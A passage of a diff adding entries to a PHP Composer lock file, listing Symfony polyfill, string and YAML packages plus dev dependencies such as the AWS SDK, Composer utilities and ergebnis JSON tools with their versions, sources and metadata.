grapheme_* functions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "grapheme", + "intl", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.29.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-29T20:11:03+00:00" + }, + { + "name": "symfony/polyfill-intl-normalizer", + "version": "v1.29.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-intl-normalizer.git", + "reference": "bc45c394692b948b4d383a08d7753968bed9a83d" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/bc45c394692b948b4d383a08d7753968bed9a83d", + "reference": "bc45c394692b948b4d383a08d7753968bed9a83d", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "suggest": { + "ext-intl": "For best performance" + }, + "type": "library", + "extra": { + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Intl\\Normalizer\\": "" + }, + "classmap": [ + "Resources/stubs" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for intl's Normalizer class and related functions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "intl", + "normalizer", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.29.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-29T20:11:03+00:00" + }, + { + "name": "symfony/polyfill-mbstring", + "version": "v1.29.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-mbstring.git", + "reference": "9773676c8a1bb1f8d4340a62efe641cf76eda7ec" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/9773676c8a1bb1f8d4340a62efe641cf76eda7ec", + "reference": "9773676c8a1bb1f8d4340a62efe641cf76eda7ec", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "provide": { + "ext-mbstring": "*" + }, + "suggest": { + "ext-mbstring": "For best performance" + }, + "type": "library", + "extra": { + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Mbstring\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for the Mbstring extension", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "mbstring", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.29.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-29T20:11:03+00:00" + }, + { + "name": "symfony/polyfill-php73", + "version": "v1.29.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-php73.git", + "reference": "21bd091060673a1177ae842c0ef8fe30893114d2" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-php73/zipball/21bd091060673a1177ae842c0ef8fe30893114d2", + "reference": "21bd091060673a1177ae842c0ef8fe30893114d2", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "type": "library", + "extra": { + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Php73\\": "" + }, + "classmap": [ + "Resources/stubs" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill backporting some PHP 7.3+ features to lower PHP versions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-php73/tree/v1.29.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-29T20:11:03+00:00" + }, + { + "name": "symfony/polyfill-php80", + "version": "v1.29.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-php80.git", + "reference": "87b68208d5c1188808dd7839ee1e6c8ec3b02f1b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/87b68208d5c1188808dd7839ee1e6c8ec3b02f1b", + "reference": "87b68208d5c1188808dd7839ee1e6c8ec3b02f1b", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "type": "library", + "extra": { + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Php80\\": "" + }, + "classmap": [ + "Resources/stubs" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Ion Bazan", + "email": "ion.bazan@gmail.com" + }, + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill backporting some PHP 8.0+ features to lower PHP versions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-php80/tree/v1.29.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-29T20:11:03+00:00" + }, + { + "name": "symfony/service-contracts", + "version": "v2.5.2", + "source": { + "type": "git", + "url": "https://github.com/symfony/service-contracts.git", + "reference": "4b426aac47d6427cc1a1d0f7e2ac724627f5966c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/service-contracts/zipball/4b426aac47d6427cc1a1d0f7e2ac724627f5966c", + "reference": "4b426aac47d6427cc1a1d0f7e2ac724627f5966c", + "shasum": "" + }, + "require": { + "php": ">=7.2.5", + "psr/container": "^1.1", + "symfony/deprecation-contracts": "^2.1|^3" + }, + "conflict": { + "ext-psr": "<1.1|>=2" + }, + "suggest": { + "symfony/service-implementation": "" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "2.5-dev" + }, + "thanks": { + "name": "symfony/contracts", + "url": "https://github.com/symfony/contracts" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Contracts\\Service\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Generic abstractions related to writing services", + "homepage": "https://symfony.com", + "keywords": [ + "abstractions", + "contracts", + "decoupling", + "interfaces", + "interoperability", + "standards" + ], + "support": { + "source": "https://github.com/symfony/service-contracts/tree/v2.5.2" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2022-05-30T19:17:29+00:00" + }, + { + "name": "symfony/string", + "version": "v5.4.35", + "source": { + "type": "git", + "url": "https://github.com/symfony/string.git", + "reference": "c209c4d0559acce1c9a2067612cfb5d35756edc2" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/string/zipball/c209c4d0559acce1c9a2067612cfb5d35756edc2", + "reference": "c209c4d0559acce1c9a2067612cfb5d35756edc2", + "shasum": "" + }, + "require": { + "php": ">=7.2.5", + "symfony/polyfill-ctype": "~1.8", + "symfony/polyfill-intl-grapheme": "~1.0", + "symfony/polyfill-intl-normalizer": "~1.0", + "symfony/polyfill-mbstring": "~1.0", + "symfony/polyfill-php80": "~1.15" + }, + "conflict": { + "symfony/translation-contracts": ">=3.0" + }, + "require-dev": { + "symfony/error-handler": "^4.4|^5.0|^6.0", + "symfony/http-client": "^4.4|^5.0|^6.0", + "symfony/translation-contracts": "^1.1|^2", + "symfony/var-exporter": "^4.4|^5.0|^6.0" + }, + "type": "library", + "autoload": { + "files": [ + "Resources/functions.php" + ], + "psr-4": { + "Symfony\\Component\\String\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Provides an object-oriented API to strings and deals with bytes, UTF-8 code points and grapheme clusters in a unified way", + "homepage": "https://symfony.com", + "keywords": [ + "grapheme", + "i18n", + "string", + "unicode", + "utf-8", + "utf8" + ], + "support": { + "source": "https://github.com/symfony/string/tree/v5.4.35" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-23T13:51:25+00:00" + }, + { + "name": "symfony/yaml", + "version": "v5.4.35", + "source": { + "type": "git", + "url": "https://github.com/symfony/yaml.git", + "reference": "e78db7f5c70a21f0417a31f414c4a95fe76c07e4" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/yaml/zipball/e78db7f5c70a21f0417a31f414c4a95fe76c07e4", + "reference": "e78db7f5c70a21f0417a31f414c4a95fe76c07e4", + "shasum": "" + }, + "require": { + "php": ">=7.2.5", + "symfony/deprecation-contracts": "^2.1|^3", + "symfony/polyfill-ctype": "^1.8" + }, + "conflict": { + "symfony/console": "<5.3" + }, + "require-dev": { + "symfony/console": "^5.3|^6.0" + }, + "suggest": { + "symfony/console": "For validating YAML files using the lint command" + }, + "bin": [ + "Resources/bin/yaml-lint" + ], + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Yaml\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Loads and dumps YAML files", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/yaml/tree/v5.4.35" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-23T13:51:25+00:00" + } + ], + "packages-dev": [ + { + "name": "aws/aws-crt-php", + "version": "v1.2.4", + "source": { + "type": "git", + "url": "https://github.com/awslabs/aws-crt-php.git", + "reference": "eb0c6e4e142224a10b08f49ebf87f32611d162b2" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/awslabs/aws-crt-php/zipball/eb0c6e4e142224a10b08f49ebf87f32611d162b2", + "reference": "eb0c6e4e142224a10b08f49ebf87f32611d162b2", + "shasum": "" + }, + "require": { + "php": ">=5.5" + }, + "require-dev": { + "phpunit/phpunit": "^4.8.35||^5.6.3||^9.5", + "yoast/phpunit-polyfills": "^1.0" + }, + "suggest": { + "ext-awscrt": "Make sure you install awscrt native extension to use any of the functionality." + }, + "type": "library", + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "AWS SDK Common Runtime Team", + "email": "aws-sdk-common-runtime@amazon.com" + } + ], + "description": "AWS Common Runtime for PHP", + "homepage": "https://github.com/awslabs/aws-crt-php", + "keywords": [ + "amazon", + "aws", + "crt", + "sdk" + ], + "support": { + "issues": "https://github.com/awslabs/aws-crt-php/issues", + "source": "https://github.com/awslabs/aws-crt-php/tree/v1.2.4" + }, + "time": "2023-11-08T00:42:13+00:00" + }, + { + "name": "aws/aws-sdk-php", + "version": "3.300.0", + "source": { + "type": "git", + "url": "https://github.com/aws/aws-sdk-php.git", + "reference": "67a0c22a70bdcc99ca41028b78be3d5496481c14" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/aws/aws-sdk-php/zipball/67a0c22a70bdcc99ca41028b78be3d5496481c14", + "reference": "67a0c22a70bdcc99ca41028b78be3d5496481c14", + "shasum": "" + }, + "require": { + "aws/aws-crt-php": "^1.2.3", + "ext-json": "*", + "ext-pcre": "*", + "ext-simplexml": "*", + "guzzlehttp/guzzle": "^6.5.8 || ^7.4.5", + "guzzlehttp/promises": "^1.4.0 || ^2.0", + "guzzlehttp/psr7": "^1.9.1 || ^2.4.5", + "mtdowling/jmespath.php": "^2.6", + "php": ">=7.2.5", + "psr/http-message": "^1.0 || ^2.0" + }, + "require-dev": { + "andrewsville/php-token-reflection": "^1.4", + "aws/aws-php-sns-message-validator": "~1.0", + "behat/behat": "~3.0", + "composer/composer": "^1.10.22", + "dms/phpunit-arraysubset-asserts": "^0.4.0", + "doctrine/cache": "~1.4", + "ext-dom": "*", + "ext-openssl": "*", + "ext-pcntl": "*", + "ext-sockets": "*", + "nette/neon": "^2.3", + "paragonie/random_compat": ">= 2", + "phpunit/phpunit": "^5.6.3 || ^8.5 || ^9.5", + "psr/cache": "^1.0", + "psr/simple-cache": "^1.0", + "sebastian/comparator": "^1.2.3 || ^4.0", + "yoast/phpunit-polyfills": "^1.0" + }, + "suggest": { + "aws/aws-php-sns-message-validator": "To validate incoming SNS notifications", + "doctrine/cache": "To use the DoctrineCacheAdapter", + "ext-curl": "To send requests using cURL", + "ext-openssl": "Allows working with CloudFront private distributions and verifying received SNS messages", + "ext-sockets": "To use client-side monitoring" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.0-dev" + } + }, + "autoload": { + "files": [ + "src/functions.php" + ], + "psr-4": { + "Aws\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "Amazon Web Services", + "homepage": "http://aws.amazon.com" + } + ], + "description": "AWS SDK for PHP - Use Amazon Web Services in your PHP project", + "homepage": "http://aws.amazon.com/sdkforphp", + "keywords": [ + "amazon", + "aws", + "cloud", + "dynamodb", + "ec2", + "glacier", + "s3", + "sdk" + ], + "support": { + "forum": "https://forums.aws.amazon.com/forum.jspa?forumID=80", + "issues": "https://github.com/aws/aws-sdk-php/issues", + "source": "https://github.com/aws/aws-sdk-php/tree/3.300.0" + }, + "time": "2024-02-19T19:08:33+00:00" + }, + { + "name": "composer/pcre", + "version": "3.1.1", + "source": { + "type": "git", + "url": "https://github.com/composer/pcre.git", + "reference": "00104306927c7a0919b4ced2aaa6782c1e61a3c9" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/composer/pcre/zipball/00104306927c7a0919b4ced2aaa6782c1e61a3c9", + "reference": "00104306927c7a0919b4ced2aaa6782c1e61a3c9", + "shasum": "" + }, + "require": { + "php": "^7.4 || ^8.0" + }, + "require-dev": { + "phpstan/phpstan": "^1.3", + "phpstan/phpstan-strict-rules": "^1.1", + "symfony/phpunit-bridge": "^5" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "3.x-dev" + } + }, + "autoload": { + "psr-4": { + "Composer\\Pcre\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Jordi Boggiano", + "email": "j.boggiano@seld.be", + "homepage": "http://seld.be" + } + ], + "description": "PCRE wrapping library that offers type-safe preg_* replacements.", + "keywords": [ + "PCRE", + "preg", + "regex", + "regular expression" + ], + "support": { + "issues": "https://github.com/composer/pcre/issues", + "source": "https://github.com/composer/pcre/tree/3.1.1" + }, + "funding": [ + { + "url": "https://packagist.com", + "type": "custom" + }, + { + "url": "https://github.com/composer", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/composer/composer", + "type": "tidelift" + } + ], + "time": "2023-10-11T07:11:09+00:00" + }, + { + "name": "composer/semver", + "version": "3.4.0", + "source": { + "type": "git", + "url": "https://github.com/composer/semver.git", + "reference": "35e8d0af4486141bc745f23a29cc2091eb624a32" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/composer/semver/zipball/35e8d0af4486141bc745f23a29cc2091eb624a32", + "reference": "35e8d0af4486141bc745f23a29cc2091eb624a32", + "shasum": "" + }, + "require": { + "php": "^5.3.2 || ^7.0 || ^8.0" + }, + "require-dev": { + "phpstan/phpstan": "^1.4", + "symfony/phpunit-bridge": "^4.2 || ^5" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "3.x-dev" + } + }, + "autoload": { + "psr-4": { + "Composer\\Semver\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nils Adermann", + "email": "naderman@naderman.de", + "homepage": "http://www.naderman.de" + }, + { + "name": "Jordi Boggiano", + "email": "j.boggiano@seld.be", + "homepage": "http://seld.be" + }, + { + "name": "Rob Bast", + "email": "rob.bast@gmail.com", + "homepage": "http://robbast.nl" + } + ], + "description": "Semver library that offers utilities, version constraint parsing and validation.", + "keywords": [ + "semantic", + "semver", + "validation", + "versioning" + ], + "support": { + "irc": "ircs://irc.libera.chat:6697/composer", + "issues": "https://github.com/composer/semver/issues", + "source": "https://github.com/composer/semver/tree/3.4.0" + }, + "funding": [ + { + "url": "https://packagist.com", + "type": "custom" + }, + { + "url": "https://github.com/composer", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/composer/composer", + "type": "tidelift" + } + ], + "time": "2023-08-31T09:50:34+00:00" + }, + { + "name": "composer/xdebug-handler", + "version": "3.0.3", + "source": { + "type": "git", + "url": "https://github.com/composer/xdebug-handler.git", + "reference": "ced299686f41dce890debac69273b47ffe98a40c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/composer/xdebug-handler/zipball/ced299686f41dce890debac69273b47ffe98a40c", + "reference": "ced299686f41dce890debac69273b47ffe98a40c", + "shasum": "" + }, + "require": { + "composer/pcre": "^1 || ^2 || ^3", + "php": "^7.2.5 || ^8.0", + "psr/log": "^1 || ^2 || ^3" + }, + "require-dev": { + "phpstan/phpstan": "^1.0", + "phpstan/phpstan-strict-rules": "^1.1", + "symfony/phpunit-bridge": "^6.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Composer\\XdebugHandler\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "John Stevenson", + "email": "john-stevenson@blueyonder.co.uk" + } + ], + "description": "Restarts a process without Xdebug.", + "keywords": [ + "Xdebug", + "performance" + ], + "support": { + "irc": "irc://irc.freenode.org/composer", + "issues": "https://github.com/composer/xdebug-handler/issues", + "source": "https://github.com/composer/xdebug-handler/tree/3.0.3" + }, + "funding": [ + { + "url": "https://packagist.com", + "type": "custom" + }, + { + "url": "https://github.com/composer", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/composer/composer", + "type": "tidelift" + } + ], + "time": "2022-02-25T21:32:43+00:00" + }, + { + "name": "cweagans/composer-patches", + "version": "1.7.3", + "source": { + "type": "git", + "url": "https://github.com/cweagans/composer-patches.git", + "reference": "e190d4466fe2b103a55467dfa83fc2fecfcaf2db" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/cweagans/composer-patches/zipball/e190d4466fe2b103a55467dfa83fc2fecfcaf2db", + "reference": "e190d4466fe2b103a55467dfa83fc2fecfcaf2db", + "shasum": "" + }, + "require": { + "composer-plugin-api": "^1.0 || ^2.0", + "php": ">=5.3.0" + }, + "require-dev": { + "composer/composer": "~1.0 || ~2.0", + "phpunit/phpunit": "~4.6" + }, + "type": "composer-plugin", + "extra": { + "class": "cweagans\\Composer\\Patches" + }, + "autoload": { + "psr-4": { + "cweagans\\Composer\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Cameron Eagans", + "email": "me@cweagans.net" + } + ], + "description": "Provides a way to patch Composer packages.", + "support": { + "issues": "https://github.com/cweagans/composer-patches/issues", + "source": "https://github.com/cweagans/composer-patches/tree/1.7.3" + }, + "time": "2022-12-20T22:53:13+00:00" + }, + { + "name": "doctrine/instantiator", + "version": "1.5.0", + "source": { + "type": "git", + "url": "https://github.com/doctrine/instantiator.git", + "reference": "0a0fa9780f5d4e507415a065172d26a98d02047b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/instantiator/zipball/0a0fa9780f5d4e507415a065172d26a98d02047b", + "reference": "0a0fa9780f5d4e507415a065172d26a98d02047b", + "shasum": "" + }, + "require": { + "php": "^7.1 || ^8.0" + }, + "require-dev": { + "doctrine/coding-standard": "^9 || ^11", + "ext-pdo": "*", + "ext-phar": "*", + "phpbench/phpbench": "^0.16 || ^1", + "phpstan/phpstan": "^1.4", + "phpstan/phpstan-phpunit": "^1", + "phpunit/phpunit": "^7.5 || ^8.5 || ^9.5", + "vimeo/psalm": "^4.30 || ^5.4" + }, + "type": "library", + "autoload": { + "psr-4": { + "Doctrine\\Instantiator\\": "src/Doctrine/Instantiator/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Marco Pivetta", + "email": "ocramius@gmail.com", + "homepage": "https://ocramius.github.io/" + } + ], + "description": "A small, lightweight utility to instantiate objects in PHP without invoking their constructors", + "homepage": "https://www.doctrine-project.org/projects/instantiator.html", + "keywords": [ + "constructor", + "instantiate" + ], + "support": { + "issues": "https://github.com/doctrine/instantiator/issues", + "source": "https://github.com/doctrine/instantiator/tree/1.5.0" + }, + "funding": [ + { + "url": "https://www.doctrine-project.org/sponsorship.html", + "type": "custom" + }, + { + "url": "https://www.patreon.com/phpdoctrine", + "type": "patreon" + }, + { + "url": "https://tidelift.com/funding/github/packagist/doctrine%2Finstantiator", + "type": "tidelift" + } + ], + "time": "2022-12-30T00:15:36+00:00" + }, + { + "name": "ergebnis/composer-normalize", + "version": "2.42.0", + "source": { + "type": "git", + "url": "https://github.com/ergebnis/composer-normalize.git", + "reference": "02cf2b69ad2a74c6f11a8c3f5f054b8f949df910" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/ergebnis/composer-normalize/zipball/02cf2b69ad2a74c6f11a8c3f5f054b8f949df910", + "reference": "02cf2b69ad2a74c6f11a8c3f5f054b8f949df910", + "shasum": "" + }, + "require": { + "composer-plugin-api": "^2.0.0", + "ergebnis/json": "^1.2.0", + "ergebnis/json-normalizer": "^4.5.0", + "ergebnis/json-printer": "^3.5.0", + "ext-json": "*", + "justinrainbow/json-schema": "^5.2.12", + "localheinz/diff": "^1.1.1", + "php": "~7.4.0 || ~8.0.0 || ~8.1.0 || ~8.2.0 || ~8.3.0" + }, + "require-dev": { + "composer/composer": "^2.6.6", + "ergebnis/license": "^2.4.0", + "ergebnis/php-cs-fixer-config": "^6.20.0", + "ergebnis/phpunit-slow-test-detector": "^2.9.0", + "fakerphp/faker": "^1.23.1", + "infection/infection": "~0.26.6", + "phpunit/phpunit": "^9.6.16", + "psalm/plugin-phpunit": "~0.18.4", + "rector/rector": "~0.19.2", + "symfony/filesystem": "^5.4.25", + "vimeo/psalm": "^5.20.0" + }, + "type": "composer-plugin", + "extra": { + "class": "Ergebnis\\Composer\\Normalize\\NormalizePlugin", + "composer-normalize": { + "indent-size": 2, + "indent-style": "space" + }, + "plugin-optional": true + }, + "autoload": { + "psr-4": { + "Ergebnis\\Composer\\Normalize\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Andreas Möller", + "email": "am@localheinz.com", + "homepage": "https://localheinz.com" + } + ], + "description": "Provides a composer plugin for normalizing composer.json.", + "homepage": "https://github.com/ergebnis/composer-normalize", + "keywords": [ + "composer", + "normalize", + "normalizer", + "plugin" + ], + "support": { + "issues": "https://github.com/ergebnis/composer-normalize/issues", + "security": "https://github.com/ergebnis/composer-normalize/blob/main/.github/SECURITY.md", + "source": "https://github.com/ergebnis/composer-normalize" + }, + "time": "2024-01-30T11:54:02+00:00" + }, + { + "name": "ergebnis/json", + "version": "1.2.0", + "source": { + "type": "git", + "url": "https://github.com/ergebnis/json.git", + "reference": "a457f25a5ba7ea11fc94f84d53678c5211abfce0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/ergebnis/json/zipball/a457f25a5ba7ea11fc94f84d53678c5211abfce0", + "reference": "a457f25a5ba7ea11fc94f84d53678c5211abfce0", + "shasum": "" + }, + "require": { + "ext-json": "*", + "php": "~7.4.0 || ~8.0.0 || ~8.1.0 || ~8.2.0 || ~8.3.0" + }, + "require-dev": { + "ergebnis/data-provider": "^3.2.0", + "ergebnis/license": "^2.4.0", + "ergebnis/php-cs-fixer-config": "^6.20.0", + "ergebnis/phpunit-slow-test-detector": "^2.9.0", + "fakerphp/faker": "^1.23.1", + "infection/infection": "~0.26.6", + "phpunit/phpunit": "^9.6.16", + "psalm/plugin-phpunit": "~0.18.4", + "rector/rector": "~0.19.2", + "vimeo/psalm": "^5.20.0" + }, + "type": "library", + "extra": { + "composer-normalize": { + "indent-size": 2, + "indent-style": "space" + } + }, + "autoload": { + "psr-4": { + "Ergebnis\\Json\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Andreas Möller", + "email": "am@localheinz.com", + "homepage": "https://localheinz.com" + } + ], + "description": "Provides a Json value object for representing a valid JSON string.", + "homepage": "https://github.com/ergebnis/json", + "keywords": [ + "json" + ], + "support": { + "issues": "https://github.com/ergebnis/json/issues", + "security": "https://github.com/ergebnis/json/blob/main/.github/SECURITY.md", + "source": "https://github.com/ergebnis/json" + }, + "time": "2024-01-29T15:09:24+00:00" + }, + { + "name": "ergebnis/json-normalizer", + "version": "4.5.0", + "source": { + "type": "git", + "url": "https://github.com/ergebnis/json-normalizer.git", + "reference": "f0ee9e70739f121b27fac8b743e4a52b23de2152" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/ergebnis/json-normalizer/zipball/f0ee9e70739f121b27fac8b743e4a52b23de2152", + "reference": "f0ee9e70739f121b27fac8b743e4a52b23de2152", + "shasum": "" + }, + "require": { + "ergebnis/json": "^1.2.0", + "ergebnis/json-pointer": "^3.4.0", + "ergebnis/json-printer": "^3.5.0", + "ergebnis/json-schema-validator": "^4.2.0", + "ext-json": "*", + "justinrainbow/json-schema": "^5.2.12", + "php": "~7.4.0 || ~8.0.0 || ~8.1.0 || ~8.2.0 || ~8.3.0" + }, + "require-dev": { + "composer/semver": "^3.4.0", + "ergebnis/data-provider": "^3.2.0", + "ergebnis/license": "^2.4.0", + "ergebnis/php-cs-fixer-config": "^6.20.0", + "ergebnis/phpunit-slow-test-detector": "^2.9.0", + "fakerphp/faker": "^1.23.1", + "infection/infection": "~0.26.6", + "phpunit/phpunit": "^9.6.16", + "psalm/plugin-phpunit": "~0.18.4", + "rector/rector": "~0.19.4", + "vimeo/psalm": "^5.20.0" + }, + "suggest": { + "composer/semver": "If you want to use ComposerJsonNormalizer or VersionConstraintNormalizer" + }, + "type": "library", + "autoload": { + "psr-4": { + "Ergebnis\\Json\\Normalizer\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Andreas Möller", + "email": "am@localheinz.com", + "homepage": "https://localheinz.com" + } + ], + "description": "Provides generic and vendor-specific normalizers for normalizing JSON documents.", + "homepage": "https://github.com/ergebnis/json-normalizer", + "keywords": [ + "json", + "normalizer" + ], + "support": { + "issues": "https://github.com/ergebnis/json-normalizer/issues", + "security": "https://github.com/ergebnis/json-normalizer/blob/main/.github/SECURITY.md", + "source": "https://github.com/ergebnis/json-normalizer" + }, + "time": "2024-01-30T09:10:15+00:00" + }, + { + "name": "ergebnis/json-pointer", + "version": "3.4.0", + "source": { + "type": "git", + "url": "https://github.com/ergebnis/json-pointer.git", + "reference": "b654757d873050622c2166f55ab25d04685261c5" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/ergebnis/json-pointer/zipball/b654757d873050622c2166f55ab25d04685261c5", + "reference": "b654757d873050622c2166f55ab25d04685261c5", + "shasum": "" + }, + "require": { + "php": "~7.4.0 || 